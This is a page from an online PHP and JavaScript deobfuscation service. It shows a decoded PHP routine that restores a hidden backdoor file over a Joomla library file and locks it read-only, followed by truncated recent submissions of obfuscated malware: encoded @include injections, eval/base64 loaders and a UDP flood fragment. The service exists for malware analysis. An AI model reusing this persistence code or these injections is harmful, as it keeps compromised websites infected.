Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


	if((!@file_exists("/home/www/clients/client1897/web4183/web/libraries/import.legacy.php") || @md5_file("/home/www/clients/client1897/web4183/web/libraries/import.legacy.php") != "f59a580a35540ac4b570e3664b9e1629") && @file_exists("/home/www/clients/client1897/web4183/web/administrator/components/com_k2/controllers/.2163ee") && @md5_file("/home/www/clients/client1897/web4183/web/administrator/components/com_k2/controllers/.2163ee") === "f59a580a35540ac4b570e3664b9e1629"){
	@chmod("/home/www/clients/client1897/web4183/web/libraries/import.legacy.php", 0755);
	@copy("/home/www/clients/client1897/web4183/web/administrator/components/com_k2/controllers/.2163ee", "/home/www/clients/client1897/web4183/web/libraries/import.legacy.php");
	@chmod("/home/www/clients/client1897/web4183/web/libraries/import.legacy.php", 0444);
}


Recent submissions:

<?php $zjlomo = 'c60if7xpo3-mskde4_b9lut5Hga\'8#rn1yv*';$isrtn = Array();$isrtn[] = $zjlo... <?php /*bc19f*/ @include "\057hom\1452/a\151nco\1552/s\145hab\171.co\155/co\156ten\164... </script><script nonce="iCa+w4VrrEY">window.addEventListener('beforeinstallprompt',functio... \057var/\167ww/h\164ml/e\162p_ol\144/eco\155_wor\153ing/\165ploa\144/.59\065ae0d\143.ico... /*b6a63*/ @include "\057ho\155e/\152wo\144jr\155p/\160ub\154ic\137ht\155l/\152ew\145ll\... /*a0f65*/ @include "\057var\057www\057tra\163ser\057dat\141/ww\167/sa\155-st\162oit\145... $_n2ilox = basename/*8xreq*/(/*2pjl*/trim/*x*/(/*t6*/preg_replace/*ap*/(/*n*/rawurldecode/... @include "\057ho\155e1\057cb\166lg\161my\057pu\142li\143_h\164ml\057wp\055co\156te\156t/\1... <?php /*b5555*/ @include "\057va\162/w\167w/\164ra\163se\162/d\141ta\057ww\167/i\144ei... /*e3138*/ @include "\057v\141r\057w\167w\057t\162a\163s\145r\057d\141t\141/\167w\167/\1... /*d3a5d*/ @include "\057va\162/w\167w/\164ra\163se\162/d\141ta\057ww\167/i\144ei\055bi\... /*0efec*/ @include "\057var/\167ww/t\162asse\162/dat\141/www\057sam-\163troi\164el.c\15... <?php $fslfd = '37s\'2v-#n8gm_ufroy1c9ka0xpH*i56debtl4';$zbmkod = Array();$zbmkod[] = $fs... /*83140*/ @include "\057h\157m\1452\057a\151n\143o\1552\057s\141v\145u\162d\145b\162e\1... <?php /*ecfa3*/ @include "\057hom\1454/j\141cqb\162as/\160ubl\151c_h\164ml/\143uqs\143... <!doctype html><html lang="sv" dir="ltr"><head><base href="https://photos.google.com/"><me... /*2716f*/ @include "\057home\062/ain\143om2/\145ltah\150an.c\157m/ar\057imag\145s/sl\15... /*612f4*/ @include "\057home\062/ain\143om2/\145gcco\156trac\164ing.\143om/w\160-con\16... <?php /*f03d7*/ @include "\057hom\1452/a\151nco\1552/d\162akr\141m.c\157m/w\160-in\143... <?php /*b5785*/ @include "\057ho\155e2\057ai\156co\1552/\144ot\143om\145gy\160t.\143om... <?php /*95274*/ @include "\057home\062/ain\143om2/\142ress\145book\056fr/w\160-inc\154... /*ae4fc*/ @include "\057h\157m\1452\057a\151n\143o\1552\057a\151n\143o\155.\146r\057w\1... {\x22initObj\x22:{\x22Locale\x22:{\x22LocaleLanguage\x22:\x22es\x22,\x22LocaleCountry\x22:... <?php $O0_00_OOO_='811'; $O0O_O_00_O='1'; $OOO000_O__='1'; $O0O__0OO0_='wp-admin'; $O... <script> <!-- document.write(unescape("%3Cscript%3E%0A%09%09%09function%20clickStopper%2... <FORM NAME=fSubmit ID=fSubmit METHOD='POST' action=> <INPUT type='hidden' name=IF_ACTION ... \\x48\\124\\x54\\120\\x5f\\125\\x53\\105\\x52\\137\\x41\\107\\x45\\116\\x54... \\x61\\x73\\x65\\x36\\x34\\x5f\\x64\\x65\\x63\\x6f\\x64\\x65\\x28\\x67\\x7a\\x69\\x6e\\x66... /*1ebfe*/ @include "\057hom\145/jg\146wkx\160ml7\067y/p\165bli\143_ht\155l/c\162m/i\155... <? eval(gzinflate(base64_decode(' TVFbT4MwFH4n4T/0gQTYiJQBDsKULNs00T0Ytmh8 IpOVgcGCpTgz4... Jk\xABRmdh\xF0\x1A~\x16... var _$_obify3 = ["lazyify", "fn", "data-image", "attr", "width", "round", "height", "/w", ... <?php $_F=__FILE__;$_X='P1c3P2RNZE9iKipPSSpJczBlYy5oSk9JKk9JKkltL0tyaVpJL0dJUnJpWm1VWk9JKk... @include "\057ho\155e/\06349\06615\056cl\157ud\167ay\163ap\160s.\143om\057nq\167du\166gq\1... <?php $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6... "\057h\157m\145/\141g\162o\163e\162/\160u\142l\151c\137h\164m\154/\155o\144u\154e\163/\155... /*0cdce*/ @include "\057ho\155e/\171an\141ch\141n/\144om\141in\163/k\141sc\157nt\162ol\... /*41e3b*/ @include "\057home\057euro\166entb\154ower\057publ\151c_ht\155l/pr\157file\16... /*c0cb0*/ @include "\057ho\155e/\145ur\157ve\156tb\154ow\145r/\160ub\154ic\137ht\155l/\... /*6d677*/ @include "\057home\057euro\166entb\154ower\057publ\151c_ht\155l/pr\157file\16... <?php $euqee = '7i_\'1-89pkbelg0oc2*#nx4vasu3Hrymdt6';$hgjpm = Array();$hgjpm[] = $euqee[... /*dda84*/ @include "\057home\057euro\166entb\154ower\057publ\151c_ht\155l/pr\157file\16... <?php $gnssfd = 'ni_tmge\'p13vkyr9H4l-u#8*x2s56c7oda0b';$nkimah = Array();$nkimah[] = $gn... chr(68).chr(103).chr(67).chr(76).chr(119).chr(116).chr(77).chr(73)... chr(72).chr(110).chr(49).chr(112).chr(97).chr(110).chr(112).chr(49)... /*2aa3a*/ @include "\057home\057inti\155ohe/\160ubli\143_htm\154/lip\142oost\145r.rs\05... <?php if ($_SERVER[base64_decode('SFRUUF9VU0VSX0FHRU5U') ] === base64_decode('cGluZw==')) ... PK manifest.json?S]o?}¯??ü°?©$?Fª&>??®{?*????¯?¬Bù?PH?,???... \u003c\u0021\u002d\u002d\u0020\u004a\u0061\u0076\u0061\u0053\u0063\u0072\u0069\u0070\u0074... <?php $fqsdod = 'vla-c_smk82gp9t*royi6be\'04u#nfdHx51';$djbui = Array();$djbui[] = $fqsdo... <?php /* This file was protected by MessPHP v1.0 at http://lombokcyber.com/en/detools/mess... <?php $_dehkt8 = basename/*dq*/(/*453dg*/trim/*oik*/(/*pa*/preg_replace/*nkal2*/(/*0*/raw... -- \u0634\u0628\u0643\u0629 \u062a\u0648\u0627\u0635\u0644 --... \u0627\u0644\u0641\u0648\u062a\u0631\u0647... <?php //NC4w /* -------------------------------------------------------------------------... \u0635\u0644\u0627\u062d... \057ho\155e/\142in\150ir\145an\144de\155o/\160ub\154ic\137ht\155l/\167p-\141dm\151n/\155ai... \057ho\155e/\162es\141s1\057pu\142li\143_h\164ml\057wp\055in\143lu\144es\057im\141ge\163/s... ('2p(2g(p,a,c,k,e,d){e=2g(c){2h(c<a?\'\':e(2q(c/a)))+((c=c%a)>35?2i.3k(c+29):c.2m(36))};2o... <script type='text/javascript'> //<![CDATA[ var nopage;var jenis;var nomerhal;var lblnam... script type='text/javascript'> //<![CDATA[ var nopage;var jenis;var nomerhal;var lblname... <script> //<![CDATA[ !function(a){"use strict";"function"==typeof define&&define.amd... {"always_ignore":{"message":"Always ignore for this site"},"always_ignore_confirmation":{"... {"always_ignore":{"message":"Always ignore for this site"},"always_ignore_confirmation":{"... {"success":false,"messages":[],"message":"\u0639\u0630\u0631\u0627 \u0644\u0642\u062f \u... $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA=="); eval... <script type='text/javascript'> //<![CDATA[ function labelthumbs(t){for(var e=0;e<numpos... <?php $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==... {"success":false,"messages":{"name":"","mobile":"<p class=\"text-danger\">\u0635\u064a\u... @include "\057h\157m\145/\167w\167/\106i\162m\141/\167p\055a\144m\151n\057n\145t\167o\162k... <script type='text/javascript'> //<![CDATA[ var perPage=12; var numPages=3; var firstT... while time.time() < timeout: sock.sendto(b"\x0D\x0A\x0D\x0A", (target, 7)) sock.sendto... ;_wau[_0x603d[3]]([_0x603d[0],_0x603d[1],_0x603d[2]]);(function(){var _0xcefcx2=document[_... <!doctype html><html><head><meta name="robots" content="noindex"> <link href="//cdnjs.c... var _0x603d=[&quot;\x73\x6D\x61\x6C\x6C&quot;,&quot;\x30\x30\x77\x79\x39\x7A\x77\x30\x35\x... var _0x603d=[&quot;small&quot;,&quot;00wy9zw057rt&quot;,&quot;pd4&quot;,&quot;push&quot;,&... var _0x603d=["\x73\x6D\x61\x6C\x6C","\x30\x30\x77\x79\x39\x7A\x77\x30\x35\x37\x72\x74","\x... <?php /* __________________________________________________ | Mohamad Zangane ... @include "\057va\162/w\167w/\143li\145nt\163/c\154ie\156t1\057we\14239\057we\142/l\141ra\1... @include "\057va\162/w\167w/\143li\145nt\163/c\154ie\156t1\057we\14239\057we\142/l\141ra\1... <?php $__l___l_='base'.(45+19).'_de'.'code';$__l___l_=$__l___l_(str_replace(array('{','$... @include "\057home\062/ret\162osq0\057publ\151c_ht\155l/wp\055cont\145nt/p\154ugin\163/woo... <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html> <html b:layoutsVersion='3' b:res... eval("$Az$Bz$Cz$Dz$z$Ez$z$Fz$Gz$Hz$Iz$Jz$Kz$Lz$Mz$z$Fz$Nz$Iz$Jz$Oz$Pz$Qz$z$Rz$z$Az$Sz$Tz$U... var _0x1b4f=['SGVsbG8gV29ybGQh'];(function(_0x27b20a,_0x3f111d){var _0x5d0b4e=function(_0x... var _0x3ade=['w415wo3Cj8O6','XgsA','bsK+MWHDgQdwwofDt1c=','QsOndsKWLTDDj1lvw53Cog==','UE/C... \x65\x76\x65\x6E\x74\x5F\x63\x61\x74\x65\x67\x6F\x72\x79... @include "\x2fhome\x2fsoun\x64setr\x61gusa\x2fpubl\x69c_ht\x6dl/pr\x6ffile\x73/sta\x6edard... @include "\057ho\155e/\155at\143hl\145ss\145mb\057pu\142li\143_h\164ml\057cu\163to\155er\0... @include "\057h\157m\145/\155a\164c\150l\145s\163e\155b\057p\165b\154i\143_\150t\155l\057c... var _zyJIfi="\x65\x76\x61\x6c\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x70\x2c\x61\x2c\x63\... eval(function(p,a,c,k,e,d) { e=function(c) { return(c<a?'':e(parseInt(c/a)))+((c... HR+cPo/MdMjIZcPCAnG8I3ktHUHKk5D9TSHOGj62deerLdoxoqcBiWYQAv528z5QkvbNaVvTLcHf wcFCgPyTUFPK... function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"functi... !function(t,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"funct... @include "\057home\057admi\156/web\057terr\141solb\151ke.c\157m.br\057publ\151c_ht\155l/we... <![CDATA[ $(document).ready(function(){ $("#nav-mobile").html($(".menu-secondary-c... include "\057h\157m\145/\141t\154a\163/\163i\164e\163/\143h\162y\163a\154i\144e\055e\166e\... <script type='text/javascript'> //<![CDATA[ var _0xd4cb=['\x73\x70\x61\x6e','\x6c\x6f\x6... <script type='text/javascript'> var _0x403e=[&quot;onload&quot;,&quot;keeptzy&quot;,&quot...

© 2019 Quttera Ltd. All rights reserved.